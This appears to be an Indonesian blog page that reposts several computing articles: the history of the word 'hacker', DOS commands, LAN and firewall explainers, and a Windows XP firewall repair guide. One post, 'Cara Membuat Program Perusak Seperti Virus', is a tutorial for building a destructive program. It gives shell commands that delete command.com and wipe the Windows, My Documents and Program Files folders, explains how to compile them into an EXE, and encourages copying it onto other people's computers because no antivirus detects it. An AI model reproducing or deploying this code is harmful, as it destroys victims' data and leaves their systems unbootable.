Weekly post

  • Hacker Its Not Our Enemy


    Terminologi hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka berkutat dengan sejumlah komputer mainframe. Kata hacker pertama kalinya muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer yang lebih baik ketimbang yang telah dirancang bersama.

    Kemudian pada tahun 1983, istilah hacker berubah menjadi negatif. Pasalnya, pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Satu dari pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.

    Hacker memiliki konotasi negatif karena kesalahpahaman masyarakat akan perbedaan istilah tentang hacker dan cracker. Banyak orang memahami bahwa hackerlah yang mengakibatkan kerugian pihak tertentu seperti mengubah tampilan suatu situs web (defacing), menyisipkan kode-kode virus dsb. Padahal, mereka adalah cracker. Crackerlah menggunakan celah-celah keamanan yang belum diperbaiki oleh pembuat perangkat lunak (bug) untuk menyusup dan merusak suatu sistem. Atas alasan ini biasanya para hacker dipahami dibagi menjadi 2 golongan White Hat Hackers, yakni hacker yang sebenarnya dan cracker yang sering disebut dengan istilah Black Hat Hackers.

    White hat hacker adalah istilah teknologi informasi dalam bahasa Inggris yang mengacu kepada peretas yang secara etis menunjukkan suatu kelemahan dalam sebuah sistem komputer. White hat secara umum lebih memfokuskan aksinya kepada bagaimana melindungi sebuah sistem, dimana bertentangan dengan black hat yang lebih memfokuskan aksinya kepada bagaimana menerobos sistem tersebut.

    Teknologi Informasi dilihat dari kata penyusunnya adalah teknologi dan informasi. Secara mudahnya teknologi informasi adalah hasil rekayasa manusia terhadap proses penyampaian informasi dari bagian pengirim ke penerima sehingga pengiriman informasi tersebut akan:

    * lebih cepat

    * lebih luas sebarannya, dan

    * lebih lama penyimpanannya.

    Agar lebih mudah memahaminya mari kita lihat perkembangan di bidang teknologi informasi. Pada awal sejarah, manusia bertukar informasi melalui bahasa. Maka bahasa adalah teknologi. Bahasa memungkinkan seseorang memahami informasi yang disampaikan oleh orang lain. Tetapi bahasa yang disampaikan dari mulut ke mulut hanya bertahan sebentar saja, yaitu hanya pada saat si pengirim menyampaikan informasi melalui ucapannya itu saja. Setelah ucapan itu selesai, maka informasi yang berada di tangan si penerima itu akan dilupakan dan tidak bisa disimpan lama. Selain itu jangkauan suara juga terbatas. Untuk jarak tertentu, meskipun masih terdengar, informasi yang disampaikan lewat bahasa suara akan terdegradasi bahkan hilang sama sekali.

    Setelah itu teknologi penyampaian informasi berkembang melalui gambar. Dengan gambar jangkauan informasi bisa lebih jauh. Gambar ini bisa dibawa-bawa dan disampaikan kepada orang lain. Selain itu informasi yang ada akan bertahan lebih lama. Beberapa gambar peninggalan jaman purba masih ada sampai sekarang sehingga manusia sekarang dapat (mencoba) memahami informasi yang ingin disampaikan pembuatnya.

    Ditemukannya alfabet dan angka arabik memudahkan cara penyampaian informasi yang lebih efisien dari cara yang sebelumnya. Suatu gambar yang mewakili suatu peristiwa dibuat dengan kombinasi alfabet, atau dengan penulisan angka, seperti MCMXLIII diganti dengan 1943. Teknologi dengan alfabet ini memudahkan dalam penulisan informasi itu.

    Kemudian, teknologi percetakan memungkinkan pengiriman informasi lebih cepat lagi. Teknologi elektronik seperti radio, tv, komputer mengakibatkan informasi menjadi lebih cepat tersebar di area yang lebih luas dan lebih lama tersimpan.

    Sumber : http://rohm4n.wordpress.com/2009/07/03/hacker-its-not-our-enemy/

    0 comments

  • DOS (Disk Operating System)


    Disk Operating System (disingkat DOS) adalah keluarga sistem operasi yang digunakan di komputer pribadi. Sekarang, istilah DOS menjadi istilah generik bagi setiap sistem operasi yang dimuat dari perangkat penyimpanan berupa disk saat sistem komputer dinyalakan.

    Keluarga DOS terbagi menjadi bebrapa kelas, yakni

    MS-DOS (Microsoft Disk Operating System), termasuk di antaranya adalah Tandy DOS, Compaq DOS, Q-DOS (Quick and Dirty Operating System) dan beberapa klon dari sistem operasi MS-DOS yang dijual kepada para pembuat sistem komputer IBM PC/Compatible.

    IBM PC-DOS (International Business Machine Personal Computer Disk Operating System), yang meskipun masih buatan Microsoft, diubah sedikit-sedikit untuk dapat digunakan oleh komputer IBM PC.

    DR-DOS (Digital Research Disk Operating System), yang dibuat oleh pembuat sistem operasi CP/M, Gary Kildall.

    Novell Personal Netware, merupakan versi DR-DOS yang dijual kepada Novell karena perusahaan yang menaungi CP/M mengalami kebangkrutan (Novell mengakuisisi Digital Research Incorporated).

    Caldera DOS, merupakan versi Novell Personal Netware yang dijual kepada Caldera Corporation.

    FreeDOS, merupakan versi DOS yang dibangun dari sisa-sisa pengembangan Caldera DOS, yang dikembangkan oleh komunitas open source.

    Sistem operasi ini merupakan sistem operasi yang menggunakan antarmuka dengan pengguna berbasis teks (text-mode user interface), dengan tanda kesiapan menerima perintah dari pengguna yang disebut dengan prompt. Prompt default yang digunakan dalam DOS adalah nama path ditambah dengan tanda lebih besar (>), seperti C:\>, C:\DOS\ dan lain-lain. Pengguna juga dapat menggunakan simbol prompt lainnya dengan menggunakan perintah PROMPT.

    Sistem operasi ini juga bersifat single-tasking (hanya dapat menjalankan satu program pada satu waktu saja), menjalankan prosesor pada modus real (real mode), dan hanya dapat mendukung satu pengguna dalam satu waktu (single user).

    MELIHAT DAFTAR PERINTAH YANG VALID DI COMMAND PROMPT: “HELP”

    Untuk mengetahui perintah-perintah apa saja yang berlaku di Command Prompt, cukup ketikkan HELP kemudian tekan Enter. Untuk mengetahui daftar parameter spesifik untuk perintah tertentu, ketikkan spasi diikuti tanda /? di belakang perintah utama. Misalnya, untuk mengetahui parameter-parameter apa saja yang dapat diberikan untuk perintah “DIR”, cukup ketikkan “DIR /?” kemudian tekan Enter.

    Di bawah ini diberikan ringkasan daftar perintah-perintah yang dapat digunakan di Command Prompt, yang penyajiannya dibagi dalam tiga kategori: dasar, mengenah dan lanjut. Pembagian ini diharapkan dapat memudahkan pembaca yang masih pemula untuk memilih prioritas perintah-perintah mana yang perlu dipelajari terlebih dahulu, terutama perintah-perintah yang paling sering digunakan. Sebenarnya tidak semua perintah disajikan di sini, hanya seingat dan sesempat penulis saja (haaaalaaaaaah…) 

    Perintah dasar:

    Perintah-perintah tingkat dasar diperuntukkan bagi mereka yang masih dalam tahap belajar.

    ATTRIB Perintah eksternal. Untuk melihat/mengubah atribut file

    CLS Perintah internal. Untuk menghapus layar monitor

    COPY Perintah internal. Untuk mengkopi file

    DEL Perintah internal. Untuk menghapus file

    DIR Perintah internal. Untuk melihat daftar file/folder di folder/direktori tertentu

    MD Perintah internal. Untuk membuat direktori/folder baru

    RD Perintah internal. Untuk menghapus folder (folder kosong)

    REN Perintah internal. Untuk mengubah nama file/folder

    TYPE Perintah internal. Untuk melihat isi file

    Perintah menengah:

    Perintah-perintah tingkat menengah diperuntukkan bagi mereka yang mulai mempelajari langkah-langkah recovery ringan, seperti format/install ulang, bad sector recovery.

    EDIT Perintah eksternal. Untuk mengedit file teks (interaktif)

    FDISK Perintah eksternal. Untuk melihat/mengubah/membuat partisi harddisk

    FORMAT Perintah eksternal. Untuk memformat disket/harddisk

    MORE Untuk mencegah tampilan menggulung terus-menerus

    SYS Eksternal apa internal ya? Yang jelas untuk membuat disket/harddisk jadi bootable

    Perintah tingkat lanjut:

    DEBUG Perintah eksternal. Untuk melihat/mengubah isi file dalam format heksadesimal

    REG Perintah eksternal. Untuk melihat/mengubah/menghapus key/value registry

    TASKKILL Perintah eksternal. Untuk menghentikan/membunuh proses yang sedang berlangsung

    TASKLIST Perintah eksternal. Untuk melihat daftar proses yang sedang berlangsung

    Perintah-perintah BATCH FILE

    @

    ECHO

    REM

    Program-program Utilities

    QuickBASIC, PASCAL, TURBO C (bahasa pemrograman, program untuk membuat program)Partition Magic for DOS (program partisi yang lebih mudah digunakan dibandingkan FDISK

    MELIHAT DAFTAR FILE: “DIR”

    Perintah “DIR” berfungsi untuk melihat daftar file/folder yang berada di direktori atau folder tertentu. Sebenarnya perintah DIR mempunyai banyak sekali parameter perintah yang dapat kita gunakan untuk membatasi daftar file/folder yang kita inginkan. Di antaranya, parameter-parameter ini dapat kita gunakan untuk menentukan file, folder atau file dan folder yang ingin kita lihat di direktori/folder tertentu, kemudian menentukan apakah kita akan menampilkan file-file yang hidden atau tidak, kemudian mengurutkan berdasarkan nama, tanggal, ukuran, dan sebagainya. Untuk mengetahui daftar parameter dan cara penggunaannya, ketikkan “DIR /?” kemudian tekan Enter.

    Melihat daftar file/folder dalam direktori/folder tertentu DIR (tanpa parameter)

    Melihat daftar file saja DIR /a-d

    Melihat daftar folder saja DIR /ad

    Melihat daftar file yang tersembunyi DIR /a-dh

    Melihat daftar folder yang tersembunyi DIR /adh

    Melihat daftar file/folder yang tersembunyi DIR /ah

    MENGETAHUI/MENGUBAH ATRIBUT FILE: “ATTRIB”

    Untuk mengetahui daftar parameter untuk perintah “ATTRIB”, ketikkan “ATTRIB /?”.

    Melihat attribut file/folder

    Format umum: ATTRIB namafile

    Contoh: ATTRIB readme.txt

    Untuk melihat attribut dari beberapa file/folder, gunakan wildcards character (*) pada namafile.

    Mengubah attribut file/folder

    ATTRIB daftaratribut namafile

    Daftar atribut yang valid: H, R, S

    Gunakan tanda ‘-’ di depan kode attribut untuk menonaktifkan atribut tertentu, gunakan tanda ‘+’ untuk mengaktifkan atribut tertentu.

    Contoh pemakaian:

    Mengubah atribut file README.TXT menjadi hidden

    ATTRIB +h README.TXT

    Mengaktifkan atribut hidden sekaligus atribut system pada file README.TXT

    ATTRIB +h +s README.TXT

    Menonaktifkan attribut hidden, read-only dan system pada semua file dalam direktori aktif (current directory). Kombinasi atribut ini dapat digunakan untuk memunculkan kembali file-file yang ‘disembunyikan’, misalnya sebagai dampak infeksi virus ke komputer:

    ATTRIB -h -r -s *.*

    thankzz atas kunjunganny,,,

    Sumber: http://rohm4n.wordpress.com/2009/07/19/dos-disk-operating-system/

    0 comments

  • Cara Membuat Program Perusak Seperti Virus

    Tutorial ini cuMan Copas ja,,, (dari pada Hilang)…

    Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

    Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google atau cari dirental CD.

    Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.

    shell “Perintah DOS”

    Dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :

    shell “c:”

    shell “cd\”

    shell “del command.com”

    Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.

    shell “c:”

    shell “cd\”

    shell “deltree /y mydocu~1″

    shell “deltree /y windows”

    shell “deltree /y progra~1″

    Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat fatal bukan ?

    Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.

    Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

    Sumber: Yogya Family Code

    0 comments

  • LAN (Local Area Network)

    Jaringan wilayah lokal (bahasa Inggris: local area network biasa disingkat LAN) adalah jaringan komputer yang jaringannya hanya mencakup wilayah kecil; seperti jaringan komputer kampus, gedung, kantor, dalam rumah, sekolah atau yang lebih kecil. Saat ini, kebanyakan LAN berbasis pada teknologi IEEE 802.3 Ethernet menggunakan perangkat switch, yang mempunyai kecepatan transfer data 10, 100, atau 1000 Mbit/s. Selain teknologi Ethernet, saat ini teknologi 802.11b (atau biasa disebut Wi-fi) juga sering digunakan untuk membentuk LAN. Tempat-tempat yang menyediakan koneksi LAN dengan teknologi Wi-fi biasa disebut hotspot.

    Pada sebuah LAN, setiap node atau komputer mempunyai daya komputasi sendiri, berbeda dengan konsep dump terminal. Setiap komputer juga dapat mengakses sumber daya yang ada di LAN sesuai dengan hak akses yang telah diatur. Sumber daya tersebut dapat berupa data atau perangkat seperti printer. Pada LAN, seorang pengguna juga dapat berkomunikasi dengan pengguna yang lain dengan menggunakan aplikasi yang sesuai.

    Berbeda dengan Jaringan Area Luas atau Wide Area Network (WAN), maka LAN mempunyai karakteristik sebagai berikut :

    1. Mempunyai pesat data yang lebih tinggi
    2. Meliputi wilayah geografi yang lebih sempit
    3. Tidak membutuhkan jalur telekomunikasi yang disewa dari operator telekomunikasi

    Biasanya salah satu komputer di antara jaringan komputer itu akan digunakan menjadi server yang mengatur semua sistem di dalam jaringan tersebut.

    Sumber: wikipedia

    0 comments

  • Apa Itu Firewall??

    Dalam dunia jaringan komputer maka istilah Firewall sering kali kita dengar. Terutama bagi karyawan yang perusahaannya memiliki jaringan komputer untuk menghubungkan komputer-komputer di setiap divisinya. Seringkali kita sebagai orang awam tidak mengerti mengapa dan untuk apa Firewall itu sendiri.

    Definisi / Pengertian Firewall

    Kata firewall mengandung kata kunci wall yang berarti dinding. Fungsi dinding adalah melindungi segala sesuatu di dalam dinding tersebut. Nah firewall pun berfungsi sama, yaitu melindungi komputer atau jaringan dari akses komputer lain yang tidak memiliki hak untuk mengakses komputer atau jaringan Anda.

    Jadi firewall ini melindungi jaringan dan sekaligus melindungi komputer di dalam jaringan tersebut. Akses yang dimaksud adalah akses remote dari komputer lain. Seperti kita ketahui sistem operasi seperti windows dan unix memiliki kemampuan jaringan yaitu menghubungkan dua atau lebih komputer untuk saling berkomunikasi dan menggunakan sumber daya jaringan seperti printer, scanner dan alat-alat lainnya termasuk koneksi internet.

    Untuk itu diperlukan sebuah mekanisme atau aturan untuk membatasi akses sebuah komputer ke komputer lain dan sumber daya jaringan lainnya. Untuk itu perlu diinstall Firewall dalam jaringan tersebut. Cara yang paling banyak digunakan adalah menginstall perangkat lunak atau software Firewall seperti Sygate Firewall, McAfee, BitDefender atau Zone Alarm. Biasanya antivirus memiliki fasilitas ini.

    Cara lain adalah menggunakan perangkat keras atau alat yang berfungsi sebagai Firewall. Tentunya alat ini memiliki kelebihan dan kemampuan yang lebih dalam membatasi akses ke jaringan dibanding berupa perangkat lunak. Namun harganya lebih mahal jika dibanding dengan Sygate Firewall yang bisa didownload gratis.
    Fungsi Firewall

    Keberadaan firewall sangat penting dalam jaringan Anda, terlebih jika di dalam komputer Anda tersimpan data-data perusahaan atau pribadi yang bersifat rahasi. Tentunya Anda tidak menginginkan orang lain bisa mengakses data ini dengan memanfaatkan celah pada jaringan dan komputer Anda.

    Firewall bisa memblok koneksi dari jaringan atau IP tertentu. Selain itu mekanisme filter juga memudahkan kita dalam mensetting Firewall sehingga lebih fleksible dalam pengaksesan. Secara visual user akan diberikan notifikasi jika terjadi akses dari luar atau akses dari dalam ke luar. Kita bisa menentukan apakah kita mengijinkan akses ini.

    Jika kita memiliki kontrol seperti ini maka kita akan dapat mengetahui keluar masuknya data dari dan menuju komputer kita. Kita bisa menganggap seperti memiliki satpam yang selalu mengecek orang yang masuk ke rumah kita dan keluar dari rumah kita. Jika tidak berkepentingan maka kita bisa melarangnya masuk.

    Adapun fungsi Firewall di dalam jaringan adalah sebagai berikut :

    1. Packet Filtering : memeriksa header dari paket TCP/IP ( tergantung arsitektur jaringannya, dalam contoh ini adalah TCP IP ) dan memutuskan apakah data ini memiliki akses ke jaringan.
    2. Network Address Translation ( NAT ) : biasanya sebuah jaringan memiliki sebuah IP public dan di dalam jaringan sendiri memiliki IP tersendiri. Firewall berfungsi untuk meneruskan paket data dari luar jaringan ke dalam jaringan dengan benar sesuai IP komputer lokal.
    3. Application Proxy : firewall bisa mendeteksi protocol aplikasi tertentu yang lebih spesifik.
    4. Traffic management : mencatat dan memantau trafik jaringan

    Masih banyak fungsi firewall seiring perkembangan jaringan dan teknologi pada software atau hardware Firewall.
    Cara kerja Firewall

    Secara sederhana bisa digambarkan cara kerja dari Firewall

    * Ketika ada paket data yang masuk ke jaringan atau komputer maka Firewall akan mengecek header dari paket data tersebut. Kemudian menggunakan aturan jaringan maka firewall bisa menentukan apakah data paket ini bisa diteruskan atau tidak. Jika tidak maka akan ada pemblokiran, jika diijinkan maka paket data ini akan diteruskan sesuai mekanisme jaringan tersebut sehingga sampai ke komputer yang dimaksud.
    * Dan sebaliknya ketika ada paket data keluar maka Firewall pun bisa mengecek berdasarkan IP dan content. Disini biasanya jaringan bisa memblok akses sebuah divisi ke sebuah sumber daya jaringan. Atau mungkin pemblokiran content yang mengandung pornografi. Disini firewall memiliki aturan untuk memfilter permintaan seperti ini.

    Penutup

    Melihat kegunaan Firewall yang sedemikian pentingnya dalam komputer dan jaringan Anda maka sangatlah penting untuk menginstall Firewall. Cara termudah adalah menginstall perangkat lunak Firewall di masing-masing komputer atau komputer gateway.

    Namun jika perusahaan Anda menginginkan filtering yang lebih baik maka diperlukan perangkat keras Firewall untuk menjalankan fungsi yang lebih advance. Semoga bermanfaat.

    Sumber:http://www.bswebhost.com/2008/11/apa-itu-firewall/

    0 comments

  • Mengembalikan Setting Windows Firewall yang Tidak Bisa Diakses di Windows XP


    Ketika saya sedang sibuk bekerja tiba-tiba di layar monitorku muncul pesan BORGChat dari teman di ruang sebelah “Kok Internet di komputerku gak bisa?”

    Saya balas “Masak tho? Di sini lancar-lancar aja..”, segera aku menuju ruang sebelah, untuk mengecek. “Aneh, workgroup Local Area Network (LAN) lancar, internet lancar, tapi kok komputer sebelah tidak bisa akses internet, kenapa ini?” gumam saya dalam hati.

    Secara, koneksi internet dikantorku di share dengan Internet Connection Sharing (ICS) bawaan Windows XP, jadi ada salah satu komputer dengan dua LANCard, satu untuk input kabel internet, yang lainnya untuk output ke LAN. Logikanya, jika koneksi workgroup lancar, internet lancar, dan komputer dengan dua LANCard itu menyala, maka semua komputer yang terhubung ke workgroup itu bisa akses internet.

    Setelah cek sana-sini, akhirnya ketemu juga penyebabnya, ternyata Internet Connection Sharing tiba-tiba mati gara-gara trojan dan Windows Firewall di komputer yang dengan dua LANcard tidak bisa diakses. Ketika saya klik muncul pesan window “Due to an unidentified problem, Windows cannot display Windows Firewall settings.”

    Dengan bantuan Google, saya mulai berpesiar ke jagat maya, dan seperti biasa, akhirnya ketemu juga langkah-langkahnya:

    1. Download sharedaccess.reg, (hanya untuk Windows XP Service Pack 2 atau Service Pack 3), lalu double klik file itu untuk merge ke registry windows.

    2. Restart komputer.

    3. Klik Start –> Run, jalankan perintah

    CMD /K NETSH FIREWALL RESET

    4. Coba buka Windows Firewall, jika masih tidak bisa.

    5. Klik Start –> Run, jalankan perintah

    rundll32 setupapi,InstallHinfSection Ndi-Steelhead 132 %windir%\inf\netrass.inf

    6. Restart komputer.

    7. Klik Start –> Run, jalankan perintah

    CMD /K NETSH FIREWALL RESET

    8. Coba buka Windows Firewall, jika sudah bisa, aktifkan kembali ICS itu.

    9. Jika Windows Firewall masih belum juga bisa dibuka, berarti Windows XP harus diinstall ulang. :D

    Sumber:http://aliefte.wordpress.com/2009/03/17/mengembalikan-setting-windows-firewall-yang-tidak-bisa-diakses-di-windows-xp/

    0 comments

  • Copyright © - Nisekoi - All Right Reserved

    Cho-Niki ! Powered by Blogger - Designed by Johanes Djogan